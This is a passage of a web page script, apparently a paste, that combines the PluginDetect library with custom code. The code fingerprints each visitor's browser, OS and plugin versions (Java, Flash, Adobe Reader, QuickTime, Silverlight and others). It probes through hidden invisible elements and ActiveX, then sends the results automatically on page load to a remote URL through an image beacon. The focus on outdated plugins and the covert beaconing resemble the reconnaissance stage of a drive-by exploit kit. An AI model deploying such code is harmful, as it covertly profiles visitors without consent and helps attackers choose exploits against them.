e=this,d=e.$,c=e.$$,b=c.applet,a;for(a=0;a<b.results.length;a++){if(b.HTML[a]&&!b.results[a][0]&&(b.allowed[a]>=2||(b.allowed[a]==1&&!b.getResult()[0]))&&e.isAppletActive(a)>=0){return 1}}return 0},isJavaActive:function(d){var f=this,c=f.$$,a,b,e=-9;for(a=0;a<c.applet.HTML.length;a++){b=f.isAppletActive(a,d);if(b>e){e=b}}return e},isAppletActive:function(c,a){var d=this,b=d.$$.applet.active;if(!a){b[c]=d.isAppletActive_(c)}return b[c]},isAppletActive_:function(d){var g=this,f=g.$,b=g.$$,l=b.navigator,a=b.applet,h=a.HTML[d],i,k,c=0,j=f.getTagStatus(h,a.DummySpanTagHTML,a.DummyObjTagHTML,g.count);if(j==-2){return -2}try{if(f.isIE&&f.verIE>=b.minIEver&&f.getDOMobj(h).object){return 1}}catch(i){}for(k=0;k<a.active.length;k++){if(a.active[k]>0){c=1}}if(j==1&&(f.isIE||((b.version0&&l.javaEnabled()&&l.mimeObj&&(h.tagName=="object"||c))||b.lang.System.getProperty()[0]))){return 1}if(j<0){return -1}return 0},winOnLoadQuery:function(c,d){var b=d.$$,a;if(b.OTF==3){a=d.queryAllApplets();d.queryCompleted(a[1],a[2])}},$$onIntervalQuery:function(d){var c=d.$,b=d.$$,a;if(b.OTF==3){a=d.queryAllApplets();if(!d.shouldContinueQuery()||(c.winLoaded&&d.count>d.countMax)){d.queryCompleted(a[1],a[2])}}d.count++;if(b.OTF==3){setTimeout(d.onIntervalQuery,d.intervalLength)}},queryAllApplets:function(){var g=this,f=g.$,e=g.$$,d=e.applet,b,a,c;for(b=0;b<d.results.length;b++){d.query(b)}a=d.getResult();c=a[0]?true:false;return[c,a[0],a[1]]},queryCompleted:function(c,f){var e=this,d=e.$,b=e.$$;if(b.OTF>=4){return}b.OTF=4;var a=e.isJavaActive();b.setPluginStatus(c,f,0);if(b.funcs){d.callArray(b.funcs)}if(d.onDoneEmptyDiv){d.onDoneEmptyDiv()}}},zz:0},devalvr:{mimeType:"application/x-devalvrx",progID:"DevalVRXCtrl.DevalVRXCtrl.1",classID:"clsid:5D2CF9D0-113A-476B-986F-288B54571614",getVersion:function(){var h=this,a=null,f,b=h.$,d;if(!b.isIE){f=b.findNavPlugin("DevalVR");if(f&&f.name&&b.hasMimeType(h.mimeType)){a=f.description.split(" ")[3]}h.installed=a?1:-1}else{var g,c;g=b.getAXO(h.progID);if(g){c=b.getDOMobj(b.insertHTML("object",["classid",h.classID],["src",""],"",h));if(c){try{if(c.pluginversion){a="00000000"+c.pluginversion.toString(16);a=a.substr(a.length-8,8);a=parseInt(a.substr(0,2),16)+","+parseInt(a.substr(2,2),16)+","+parseInt(a.substr(4,2),16)+","+parseInt(a.substr(6,2),16)}}catch(d){}}}h.installed=a?1:(g?0:-1)}h.version=b.formatNum(a)}},flash:{mimeType:"application/x-shockwave-flash",progID:"ShockwaveFlash.ShockwaveFlash",classID:"clsid:D27CDB6E-AE6D-11CF-96B8-444553540000",getVersion:function(){var b=function(i){if(!i){return null}var e=/[\d][\d\,\.\s]*[rRdD]{0,1}[\d\,]*/.exec(i);return e?e[0].replace(/[rRdD\.]/g,",").replace(/\s/g,""):null};var j=this,g=j.$,k,h,l=null,c=null,a=null,f,m,d;if(!g.isIE){m=g.hasMimeType(j.mimeType);if(m){f=g.getDOMobj(g.insertHTML("object",["type",j.mimeType],[],"",j));try{l=g.getNum(f.GetVariable("$version"))}catch(k){}}if(!l){d=m?m.enabledPlugin:null;if(d&&d.description){l=b(d.description)}if(l){l=g.getPluginFileVersion(d,l)}}}else{for(h=15;h>2;h--){c=g.getAXO(j.progID+"."+h);if(c){a=h.toString();break}}if(!c){c=g.getAXO(j.progID)}if(a=="6"){try{c.AllowScriptAccess="always"}catch(k){return"6,0,21,0"}}try{l=b(c.GetVariable("$version"))}catch(k){}if(!l&&a){l=a}}j.installed=l?1:-1;j.version=g.formatNum(l);return true}},windowsmediaplayer:{mimeType:["application/x-mplayer2","application/asx","application/x-ms-wmp"],navPluginObj:null,progID:"wmplayer.ocx",classID:"clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6",INSTALLED:{dfault:null,inputMime:{}},getVersion:function(i,g){var c=this,f=c.$,l,e=null,h=null,j=c.mimeType,k="Totem|VLC",b,d,a;c.installed=-1;if(f.isString(g)){g=g.replace(/\s/g,"");if(g){j=g}}else{g=null}if(g){d=c.INSTALLED.inputMime[g];if(f.isDefined(d)){c.installed=d;return}}else{d=c.INSTALLED.dfault;if(d!==null){c.installed=d;return}}if(!f.isIE){if(f.OS<20&&f.OS>=3){c.installed=-1;return}a={wmp:"Windows\\s*Media\\s*Player.*Plug-?in|Flip4Mac.*Windows\\s*Media.*Plug-?in",wmpFirefox:"Windows\\s*Media\\s*Player.*Firefox.*Plug-?in",avoidPlayers:"Totem|VLC|RealPlayer"};if(c.getVersionDone!==0){c.getVersionDone=0;e=f.getMimeEnabledPlugin(c.mimeType,a.wmp,a.avoidPlayers);if(!g){l=e}if(!e&&f.hasMimeType(c.mimeType)){e=f.findNavPlugin(a.wmp,0,a.avoidPlayers)}if(e){c.navPluginObj=e;b=(f.isGecko&&f.compareNums(f.verGecko,f.formatNum("1.8"))<0);b=b||(f.isOpera&&f.verOpera<10);b=b||f.isChrome;if(!b&&f.getMimeEnabledPlugin(c.mimeType[2],a.wmpFirefox,a.avoidPlayers)){d=f.getDOMobj(f.insertHTML("object",["type",c.mimeType[2],"data",""],["src",""],"",c));if(d){h=d.versionInfo}}}}else{h=c.version}if(!f.isDefined(l)){l=f.getMimeEnabledPlugin(j,a.wmp,a.avoidPlayers)}c.installed=l&&h?1:(l?0:(c.navPluginObj?-0.2:-1))}else{e=f.getAXO(c.progID);if(e){h=e.versionInfo}c.installed=e&&h?1:(e?0:-1)}if(!c.version){c.version=f.formatNum(h)}if(g){c.INSTALLED.inputMime[g]=c.installed}else{c.INSTALLED.dfault=c.installed}}},vlc:{mimeType:"application/x-vlc-plugin",progID:"VideoLAN.VLCPlugin",classID:"clsid:9BE31822-FDAD-461B-AD51-BE1D1C159921",compareNums:function(e,d){var c=this.$,k=e.split(c.splitNumRegx),i=d.split(c.splitNumRegx),h,b,a,g,f,j;for(h=0;h<Math.min(k.length,i.length);h++){j=/([\d]+)([a-z]?)/.test(k[h]);b=parseInt(RegExp.$1,10);g=(h==2&&RegExp.$2.length>0)?RegExp.$2.charCodeAt(0):-1;j=/([\d]+)([a-z]?)/.test(i[h]);a=parseInt(RegExp.$1,10);f=(h==2&&RegExp.$2.length>0)?RegExp.$2.charCodeAt(0):-1;if(b!=a){return(b>a?1:-1)}if(h==2&&g!=f){return(g>f?1:-1)}}return 0},getVersion:function(){var c=this,b=c.$,f,a=null,d;if(!b.isIE){if(b.hasMimeType(c.mimeType)){f=b.findNavPlugin("VLC.*Plug-?in",0,"Totem");if(f&&f.description){a=b.getNum(f.description,"[\\d][\\d\\.]*[a-z]*")}}c.installed=a?1:-1}else{f=b.getAXO(c.progID);if(f){try{a=b.getNum(f.VersionInfo,"[\\d][\\d\\.]*[a-z]*")}catch(d){}}c.installed=a?1:(f?0:-1)}c.version=b.formatNum(a)}},realplayer:{mimeType:["audio/x-pn-realaudio-plugin"],progID:["rmocx.RealPlayer G2 Control","rmocx.RealPlayer G2 Control.1","RealPlayer.RealPlayer(tm) ActiveX Control (32-bit)","RealVideo.RealVideo(tm) ActiveX Control (32-bit)","RealPlayer"],classID:"clsid:CFCDAA03-8BE4-11cf-B84B-0020AFBBCCFA",INSTALLED:{},q1:[[11,0,0],[999],[663],[663],[663],[660],[468],[468],[468],[468],[468],[468],[431],[431],[431],[372],[180],[180],[172],[172],[167],[114],[0]],q3:[[6,0],[12,99],[12,69],[12,69],[12,69],[12,69],[12,69],[12,69],[12,69],[12,69],[12,69],[12,69],[12,46],[12,46],[12,46],[11,3006],[11,2806],[11,2806],[11,2804],[11,2804],[11,2799],[11,2749],[11,2700]],compare:function(g,f){var e,d=g.length,i=f.length,c,h;for(e=0;e<Math.max(d,i);e++){c=e<d?g[e]:0;h=e<i?f[e]:0;if(c>h){return 1}if(c<h){return -1}}return 0},convertNum:function(a,f,e){var g=this,c=g.$,d,b,h,i=null;if(!a||!(d=c.formatNum(a))){return i}d=d.split(c.splitNumRegx);for(h=0;h<d.length;h++){d[h]=parseInt(d[h],10)}if(g.compare(d.slice(0,Math.min(f[0].length,d.length)),f[0])!=0){return i}b=d.length>f[0].length?d.slice(f[0].length):[];if(g.compare(b,f[1])>0||g.compare(b,f[f.length-1])<0){return i}for(h=f.length-1;h>=1;h--){if(h==1){break}if(g.compare(f[h],b)==0&&g.compare(f[h],f[h-1])==0){break}if(g.compare(b,f[h])>=0&&g.compare(b,f[h-1])<0){break}}return e[0].join(".")+"."+e[h].join(".")},getVersion:function(m,n){var j=this,k=null,c=0,g=0,d=j.$,q,i,s,a=j.mimeType[0];if(d.isString(n)){n=n.replace(/\s/g,"");if(n){a=n}}else{n=null}if(d.isDefined(j.INSTALLED[a])){j.installed=j.INSTALLED[a];return}if(!d.isIE){var l="RealPlayer.*Plug-?in",h=d.hasMimeType(j.mimeType),o=d.findNavPlugin(l,0);if(h&&o){c=1;if(n){if(d.getMimeEnabledPlugin(n,l)){g=1}else{g=0}}else{g=1}}if(j.getVersionDone!==0){j.getVersionDone=0;if(h){var p=1,b=null,r=null;s=d.hasMimeType("application/vnd.rn-realplayer-javascript");if(s){b=d.formatNum(d.getNum(s.enabledPlugin.description))}if(d.OS==1&&b){var f=b.split(d.splitNumRegx);r=true;if(j.compare(f,[6,0,12,200])<0){r=false}else{if(j.compare(f,[6,0,12,1739])<=0&&j.compare(f,[6,0,12,857])>=0){r=false}}}if(r===false){p=0}if(d.OS<=2){if(d.isGecko&&d.compareNums(d.verGecko,d.formatNum("1,8"))<0){p=0}if(d.isChrome){p=0}if(d.isOpera&&d.verOpera<10){p=0}}else{p=0}if(p){s=d.insertHTML("object",["type",j.mimeType[0]],["src","","autostart","false","imagestatus","false","controls","stopbutton"],"",j);s=d.getDOMobj(s);try{k=d.getNum(s.GetVersionInfo())}catch(q){}d.setStyle(s,["display","none"])}if(!k&&b&&r===false){s=j.convertNum(b,j.q3,j.q1);k=s?s:b}}}else{k=j.version}j.installed=c&&g&&k?1:(c&&g?0:(c?-0.2:-1))}else{s=null;for(i=0;i<j.progID.length;i++){s=d.getAXO(j.progID[i]);if(s){try{k=d.getNum(s.GetVersionInfo());break}catch(q){}}}j.installed=k?1:-1}if(!j.version){j.version=d.formatNum(k)}j.INSTALLED[a]=j.installed}},zz:0}};PluginDetect.initScript();
  7. PluginDetect.getVersion('.');
  8. function getBrowser() {
  9. var info = {
  10. 'browser': null,
  11. 'version': null
  12. };
  13. function browserDetectNav(chrAfterPoint) {
  14. var UA=window.navigator.userAgent,
  15. OperaB = /Opera[ \/]+\w+\.\w+/i,
  16. OperaV = /Version[ \/]+\w+\.\w+/i,
  17. FirefoxB = /Firefox\/\w+\.\w+/i,
  18. ChromeB = /Chrome\/\w+\.\w+/i,
  19. SafariB = /Version\/\w+\.\w+/i,
  20. IEB = /MSIE *\d+\.\w+/i,
  21. SafariV = /Safari\/\w+\.\w+/i,
  22. browser = new Array(),
  23. browserSplit = /[ \/\.]/i,
  24. OperaV = UA.match(OperaV),
  25. Firefox = UA.match(FirefoxB),
  26. Chrome = UA.match(ChromeB),
  27. Safari = UA.match(SafariB),
  28. SafariV = UA.match(SafariV),
  29. IE = UA.match(IEB),
  30. Opera = UA.match(OperaB);
  31. if ((!Opera=="")&(!OperaV==""))
  32. browser[0]=OperaV[0].replace(/Version/, "Opera")
  33. else
  34. if (!Opera=="")
  35. browser[0]=Opera[0]
  36. else
  37. if (!IE=="")
  38. browser[0] = IE[0]
  39. else
  40. if (!Firefox=="")
  41. browser[0]=Firefox[0]
  42. else
  43. if (!Chrome=="")
  44. browser[0] = Chrome[0]
  45. else
  46. if ((!Safari=="")&&(!SafariV==""))
  47. browser[0] = Safari[0].replace("Version", "Safari");
  48. var outputData;
  49. if (browser[0] != null)
  50. outputData = browser[0].split(browserSplit);
  51. if (((chrAfterPoint == null)|(chrAfterPoint == 0))&(outputData != null)) {
  52. chrAfterPoint=outputData[2].length;
  53. outputData[2] = outputData[2].substring(0, chrAfterPoint);
  54. return outputData;
  55. }
  56. else
  57. if (chrAfterPoint != null) {
  58. outputData[2] = outputData[2].substr(0, chrAfterPoint);
  59. return outputData;
  60. }
  61. else
  62. return false;
  63. }
  64. function browserDetectJS() {
  65. var browser = [];
  66. if (window.opera) {
  67. browser[0] = "Opera";
  68. browser[1] = window.opera.version();
  69. }
  70. else
  71. if (window.chrome) {
  72. browser[0] = "Chrome";
  73. }
  74. else
  75. if (window.sidebar) {
  76. browser[0] = "Firefox";
  77. }
  78. else
  79. if ((!window.external)&&(browser[0]!=="Opera")) {
  80. browser[0] = "Safari";
  81. }
  82. else
  83. if (window.ActiveXObject) {
  84. browser[0] = "MSIE";
  85. if (window.navigator.userProfile)
  86. browser[1] = "6"
  87. else
  88. if (window.Storage)
  89. browser[1] = "8"
  90. else
  91. if ((!window.Storage)&&(!window.navigator.userProfile))
  92. browser[1] = "7"
  93. else
  94. browser[1] = "Unknown";
  95. }
  96. if (!browser)
  97. return false
  98. else
  99. return browser;
  100. }
  101. var browserNav = browserDetectNav();
  102. var browserJS = browserDetectJS();
  103. alert(browserNav);
  104. alert(browserJS);
  105. if (browserNav[0] == browserJS[0]) {
  106. info.browser = browserNav[0].toLowerCase();
  107. info.version = browserNav[1].toLowerCase()+'.'+browserNav[2].toLowerCase();
  108. }
  109. else {
  110. if (browserNav[0] != browserJS[0]) {
  111. info.browser = browserJS[0].toLowerCase();
  112. info.version = browserJS[1].toLowerCase()+'.'+browserJS[2].toLowerCase();
  113. }
  114. }
  115. return info;
  116. };
  117. function getPlugin(browser) {
  118. function pName(name) {
  119. if (name.indexOf('Java') != -1 && name.indexOf('Platform') != -1)
  120. return 'Java';
  121. if (name.toLowerCase().indexOf('flash') != -1)
  122. return 'Flash';
  123. if (name.toLowerCase().indexOf('shockwave') != -1)
  124. return 'Shockwave';
  125. if (name.toLowerCase().indexOf('windows media player') != -1)
  126. return 'Windows Media Player';
  127. if (name.toLowerCase().indexOf('java deployment toolkit') != -1)
  128. return 'Java Deployment Toolkit';
  129. if (name.toLowerCase().indexOf('silverlight') != -1)
  130. return 'Silverlight';
  131. if (name.toLowerCase().indexOf('adobe') != -1 && name.toLowerCase().indexOf('acrobat') != -1)
  132. return 'Adobe Reader';
  133. if (name.toLowerCase().indexOf('quicktime') != -1)
  134. return 'QuickTime';
  135. if (name.toLowerCase().indexOf('devalvr') != -1)
  136. return 'DevalVR';
  137. if (name.toLowerCase().indexOf('vlc') != -1 && name.toLowerCase().indexOf('player') != -1)
  138. return 'VLC Player';
  139. if (name.toLowerCase().indexOf('generic') != -1 && name.toLowerCase().indexOf('pdf') != -1)
  140. return 'Generic PDF Reader';
  141. if (name.toLowerCase().indexOf('realplayer') != -1)
  142. return 'RealPlayer';
  143. if (name.toLowerCase().indexOf('chrome remote desktop') != -1)
  144. return 'Chrome Remote Desktop';
  145. return name;
  146. }
  147. function getVersion(plugin) {
  148. version = '';
  149. function compare(ver1,ver2) {
  150. var arr1 = ver1.split('.');
  151. var arr2 = ver2.split('.');
  152. var dif = arr2.length - arr1.length;
  153. if (dif > 0) {
  154. for (var i=0; i<dif; ++i)
  155. arr1.push(arr2[dif-i]);
  156. return arr1.join('.');
  157. }
  158. return arr1;
  159. }
  160. function verSilverlight(plugin) {
  161. var re = /([\d\.]+)/gi;
  162. var res = re.exec(plugin.description);
  163. if (!!res && !!res[1])
  164. return res[1];
  165. }
  166. function verFlash(plugin) {
  167. var obj = hElement('object');
  168. var mimeType = "application/x-shockwave-flash";
  169. var classID = "clsid:D27CDB6E-AE6D-11CF-96B8-444553540000";
  170. obj.id = 'flashVerDetect';
  171. obj.type = mimeType;
  172. obj.classid = classID;
  173. var version = null;
  174. try{
  175. version = _id('flashVerDetect').GetVariable("$version");
  176. version = version.toString().split(' ')[1].replace(/,/gi,'.');
  177. }
  178. catch(e){
  179. }
  180. _remove(_id('flashVerDetect'));
  181. return version;
  182. }
  183. function verChRemoteDesktop(plugin) {
  184. var version = null;
  185. return version;
  186. }
  187. function verGoogleUpdate(plugin) {
  188. var obj = hElement('object');
  189. var version = null;
  190. return version;
  191. }
  192. function verShockwave(plugin) {
  193. var desc = plugin.description;
  194. var re = /([\.\d]+)/gi;
  195. var res = re.exec(desc);
  196. if (!!res && !!res[1])
  197. return res[1];
  198. return null;
  199. }
  200. function verQuickTime(plugin) {
  201. var name = plugin.name;
  202. var re = /([\.\d]+)/gi;
  203. var res = re.exec(name);
  204. if (!!res && !!res[1])
  205. return compare(res[1],'0.0.0.0');
  206. return null;
  207. }
  208. function verAdobeReader(plugin) {
  209. var desc = plugin.description;
  210. var re = /([\.\d]+)/gi;
  211. var res = re.exec(desc);
  212. if (!!res && !!res[1])
  213. return compare(res[1],'0.0.0.0');
  214. return null;
  215. }
  216. function verWMP(plugin) {
  217. var version = null;
  218. return version;
  219. }
  220. switch(pName(plugin.name)) {
  221. case 'Silverlight': {
  222. return verSilverlight(plugin);
  223. }
  224. case 'Flash': {
  225. return verFlash(plugin);
  226. }
  227. case 'Shockwave': {
  228. return verShockwave(plugin);
  229. }
  230. case 'QuickTime': {
  231. return verQuickTime(plugin);
  232. }
  233. case 'Adobe Reader': {
  234. return verAdobeReader(plugin);
  235. }
  236. case 'Chrome Remote Desktop': {
  237. return verChRemoteDesktop(plugin);
  238. }
  239. case 'Google Update': {
  240. return verGoogleUpdate(plugin);
  241. }
  242. case 'Windows Media Player': {
  243. return verWMP(plugin);
  244. }
  245. };
  246. return version;
  247. }
  248. function format(plugin) {
  249. var data = {
  250. 'name':pName(plugin.name),
  251. 'version':(plugin.version ? plugin.version : '')
  252. };
  253. if (!data.version)
  254. data.version = getVersion(plugin);
  255. if (!data.version) {
  256. var tempver = PluginDetect.getVersion(data.name.replace(/\s+/gi,''));
  257. if (tempver)
  258. data.version = tempver;
  259. }
  260. if (data.name == 'Java') {
  261. data.version = PluginDetect.getVersion('Java');
  262. if (!data.version) {
  263. var re = /[_\d\.]+/gi;
  264. var res = re.exec(plugin.description);
  265. if (!!res && !!res[0])
  266. data.version = res[0].replace('_','.');
  267. }
  268. }
  269. if (data.name == 'Java Deployment Toolkit' && !data.version) {
  270. var re = /[\d\.]+/gi;
  271. var res = re.exec(plugin.name);
  272. if (!!res && !!res[0])
  273. data.version = res[0];
  274. }
  275. return data;
  276. };
  277. function iePlugin(version) {
  278. var plugin = [];
  279. function detectAdobeReader() {
  280. if (!window.ActiveXObject)
  281. return false;
  282. var control = null;
  283. try {
  284. // AcroPDF.PDF is used by version 7 and later
  285. control = new ActiveXObject('AcroPDF.PDF');
  286. }
  287. catch (e) {
  288. }
  289. if (!control) {
  290. try {
  291. // PDF.PdfCtrl is used by version 6 and earlier
  292. control = new ActiveXObject('PDF.PdfCtrl');
  293. } catch (e) {
  294. }
  295. }
  296. if (control) {
  297. var version = control.GetVersions().split(',')[0];
  298. version = version.split('=')[1];
  299. if (version.substr(version.length-1) == '.')
  300. version = version.substr(0,version.length-1);
  301. alert(version);
  302. return {'name':'Adobe Reader','version':version};
  303. }
  304. return false
  305. }
  306. function detectAdobeFlash() {
  307. if (!window.ActiveXObject)
  308. return false;
  309. var control = null;
  310. try {
  311. control = new ActiveXObject('ShockwaveFlash.ShockwaveFlash');
  312. }
  313. catch (e) {
  314. }
  315. if (control) {
  316. alert(control.GetVariable('$version').split(' ')[1].replace(/\,/gi,'.'));
  317. return {'name':'Adobe Flash','version':control.GetVariable('$version').split(' ')[1].replace(/\,/gi,'.')};
  318. }
  319. return false;
  320. }
  321. function detectQuickTime() {
  322. var isInstalled = false;
  323. var version = null;
  324. if (!window.ActiveXObject)
  325. return false;
  326. var control = null;
  327. try {
  328. control = new ActiveXObject('QuickTime.QuickTime');
  329. } catch (e) {
  330. }
  331. try {
  332. // This generates a user prompt in Internet Explorer 7
  333. control = new ActiveXObject('QuickTimeCheckObject.QuickTimeCheck');
  334. } catch (e) {
  335. return;
  336. }
  337. if (control) {
  338. version = control.QuickTimeVersion.toString(16); // Convert to hex
  339. version = version.substring(0, 1) + '.' + version.substring(1, 3);
  340. version = parseFloat(version);
  341. return {'name':'QuickTime Player','version':version};
  342. }
  343. return false;
  344. }
  345. function detectRealPlayer() {
  346. var version = null;
  347. if (!window.ActiveXObject)
  348. return false;
  349. var definedControls = [
  350. 'rmocx.RealPlayer G2 Control',
  351. 'rmocx.RealPlayer G2 Control.1',
  352. 'RealPlayer.RealPlayer(tm) ActiveX Control (32-bit)',
  353. 'RealVideo.RealVideo(tm) ActiveX Control (32-bit)',
  354. 'RealPlayer'
  355. ];
  356. var control = null;
  357. for (var i = 0; i < definedControls.length; i++) {
  358. try {
  359. control = new ActiveXObject(definedControls[i]);
  360. }
  361. catch (e) {
  362. continue;
  363. }
  364. if (control) {
  365. break;
  366. }
  367. }
  368. if (control) {
  369. version = control.GetVersionInfo();
  370. version = parseFloat(version);
  371. return {'name': 'RealPlayer', 'version':version};
  372. }
  373. }
  374. function detectShockwavePlayer() {
  375. if (!window.ActiveXObject)
  376. return false;
  377. var control = null;
  378. try {
  379. control = new ActiveXObject('SWCtl.SWCtl');
  380. }
  381. catch (e) {
  382. }
  383. if (control)
  384. return {'name': 'Shockwave Player', 'version':control.ShockwaveVersion('')};
  385. return false;
  386. };
  387. function detectWMP() {
  388. if (!window.ActiveXObject)
  389. return false;
  390. var control = null;
  391. try {
  392. control = new ActiveXObject('WMPlayer.OCX');
  393. } catch (e) {
  394. return false;
  395. }
  396. if (control)
  397. return {'name': 'Windows Media Player', 'version': control.versionInfo};
  398. return false;
  399. }
  400. function detectJava() {
  401. if (navigator.javaEnabled())
  402. return {'name':'Java','version':PluginDetect.getVersion('Java')};
  403. //return {'name':'Java','version':PluginDetect.getVersion('Java')};
  404. return false
  405. }
  406. function detectSilverlight() {
  407. var control;
  408. try {
  409. var control = new ActiveXObject("AgControl.AgControl");
  410. }
  411. catch (e) {
  412. }
  413. if (control)
  414. return {'name': 'Silverlight', 'version': PluginDetect.getVersion('Silverlight')};
  415. return false;
  416. }
  417. if (!!detectAdobeReader())
  418. plugin.push(detectAdobeReader());
  419. if (!!detectAdobeFlash())
  420. plugin.push(detectAdobeFlash());
  421. if (!!detectQuickTime())
  422. plugin.push(detectQuickTime());
  423. if (!!detectRealPlayer())
  424. plugin.push(detectRealPlayer());
  425. if (!!detectShockwavePlayer())
  426. plugin.push(detectShockwavePlayer());
  427. if (!!detectWMP())
  428. plugin.push(detectWMP());
  429. if (!!detectJava())
  430. plugin.push(detectJava());
  431. if (!!detectSilverlight())
  432. plugin.push(detectSilverlight());
  433. return plugin;
  434. };
  435. function navigatorPlugin() {
  436. var plugin = [];
  437. var hash = '||';
  438. if (!!navigator && !!navigator.plugins)
  439. for(var i=0; i<navigator.plugins.length; ++i) {
  440. if (hash.indexOf('||'+pName(navigator.plugins[i].name)+'||') == -1) {
  441. plugin.push(format(navigator.plugins[i]));
  442. hash += pName(navigator.plugins[i].name) + '||';
  443. }
  444. }
  445. return plugin;
  446. };
  447. if (!browser || !browser.browser)
  448. return [];
  449. switch(browser.browser) {
  450. case 'msie': {
  451. return iePlugin(browser.version)
  452. }
  453. case 'firefox': {
  454. return navigatorPlugin()
  455. }
  456. case 'chrome': {
  457. return navigatorPlugin()
  458. }
  459. case 'opera': {
  460. return navigatorPlugin()
  461. }
  462. default: {
  463. return [];
  464. }
  465. };
  466. };
  467. function getSystemInfo() {
  468. function getOSName(name) {
  469. var minname = name.toLowerCase();
  470. if (minname.indexOf('mac') != -1)
  471. return name;
  472. if (minname.indexOf('windows') != -1) {
  473. if (minname.indexOf('3.1') != -1)
  474. return 'Windows NT 3.1';
  475. if (minname.indexOf('3.51') == -1 && minname.indexOf('3.5') != -1)
  476. return 'Windows NT 3.5';
  477. if (minname.indexOf('3.51') != -1)
  478. return 'Windows NT 3.51';
  479. if (minname.indexOf('4.0') != -1)
  480. return 'Windows NT 4.0';
  481. if (minname.indexOf('5.0') != -1)
  482. return 'Windows 2000';
  483. if (minname.indexOf('5.1') != -1)
  484. return 'Windows XP';
  485. if (minname.indexOf('5.2') != -1)
  486. return 'Windows Server 2003';
  487. if (minname.indexOf('6.0') != -1)
  488. return 'Windows Vista';
  489. if (minname.indexOf('6.1') != -1)
  490. return 'Windows 7';
  491. if (minname.indexOf('6.2') != -1)
  492. return 'Windows 8';
  493. }
  494. return name;
  495. }
  496. var re = /\(([^\)]+)\)/gi;
  497. var res = re.exec(navigator.userAgent);
  498. if (!!res && !!res[1]) {
  499. var resarr = res[1].split(';');
  500. for (var i=0; i<resarr.length; ++i) {
  501. if (resarr[i].toLowerCase().indexOf('windows') != -1)
  502. return getOSName(resarr[i]);
  503. if (resarr[i].toLowerCase().indexOf('mac') != -1)
  504. return getOSName(resarr[i]);
  505. }
  506. return getOSName(res[1]);
  507. }
  508. return navigator.platform;
  509. }
  510. function send(browser,plugin,sysinfo) {
  511. function pname(name) {
  512. function encodeData(data) {
  513. if (!!window.encodeURI)
  514. data = window.encodeURI(data);
  515. else {
  516. if (!!window.encodeURIComponent)
  517. data = window.encodeURIComponent(data);
  518. }
  519. return data;
  520. }
  521. name = name.toLowerCase();
  522. if (!!window.escape)
  523. name = escape(name);
  524. else
  525. name = encodeData(name);
  526. if (!name)
  527. name = '';
  528. return name;
  529. }
  530. function pver(ver) {
  531. if (!ver)
  532. ver = 0;
  533. return ver;
  534. }
  535. var html = 'os='+pname(sysinfo)+'&browser='+pname(browser.browser)+'&browserver='+pver(browser.version);
  536. var adds = '';
  537. for (var i=0; i<plugin.length; ++i) {
  538. html += '&'+(adds + pname(plugin[i].name)+'='+pver(plugin[i].version));
  539. }
  540. var tempurl = url + html;
  541. var img = hElement('img');
  542. img.src = tempurl;
  543. img.onload = function() {
  544. _remove(img);
  545. }
  546. img.onerror = function(e) {
  547. _remove(img);
  548. }
  549. };
  550. function run() {
  551. var browser = getBrowser();
  552. alert(browser);
  553. var plugin = getPlugin(browser);
  554. alert(plugin);
  555. var sysinfo = getSystemInfo();
  556. alert(sysinfo);
  557. return send(browser, plugin, sysinfo);
  558. };
  559. if (window.addEventListener)
  560. window.addEventListener('load', run, false);
  561. else
  562. if (window.attachEvent)
  563. window.attachEvent('onload', run);
  564. function _tag(tag,element) {
  565. if (!element)
  566. element = document;
  567. return element.getElementsByTagName(tag);
  568. };
  569. function _id(id) {
  570. return document.getElementById(id);
  571. };
  572. function _remove(el) {
  573. el.parentNode.removeChild(el);
  574. }
  575. function hElement(tag,element) {
  576. if (!element) {
  577. var body = _tag('body')[0];
  578. if (!!body)
  579. element = body;
  580. else
  581. element = document;
  582. }
  583. var child = document.createElement(tag);
  584. var dv = document.createElement('div');
  585. dv.appendChild(child);
  586. dv.style.position = 'absolute';
  587. dv.style.width = '1px';
  588. dv.style.height = '1px';
  589. dv.style.left = '0px';
  590. dv.style.top = '0px';
  591. try {
  592. dv.style.opacity = 0;
  593. }
  594. catch(e){
  595. }
  596. dv.style.zIndex = '0';
  597. //dv.style.overflow = 'hidden';
  598. element.appendChild(dv);
  599. return child;
  600. };
  601. })();
  602. </script>
  603. </body>
  604. </html>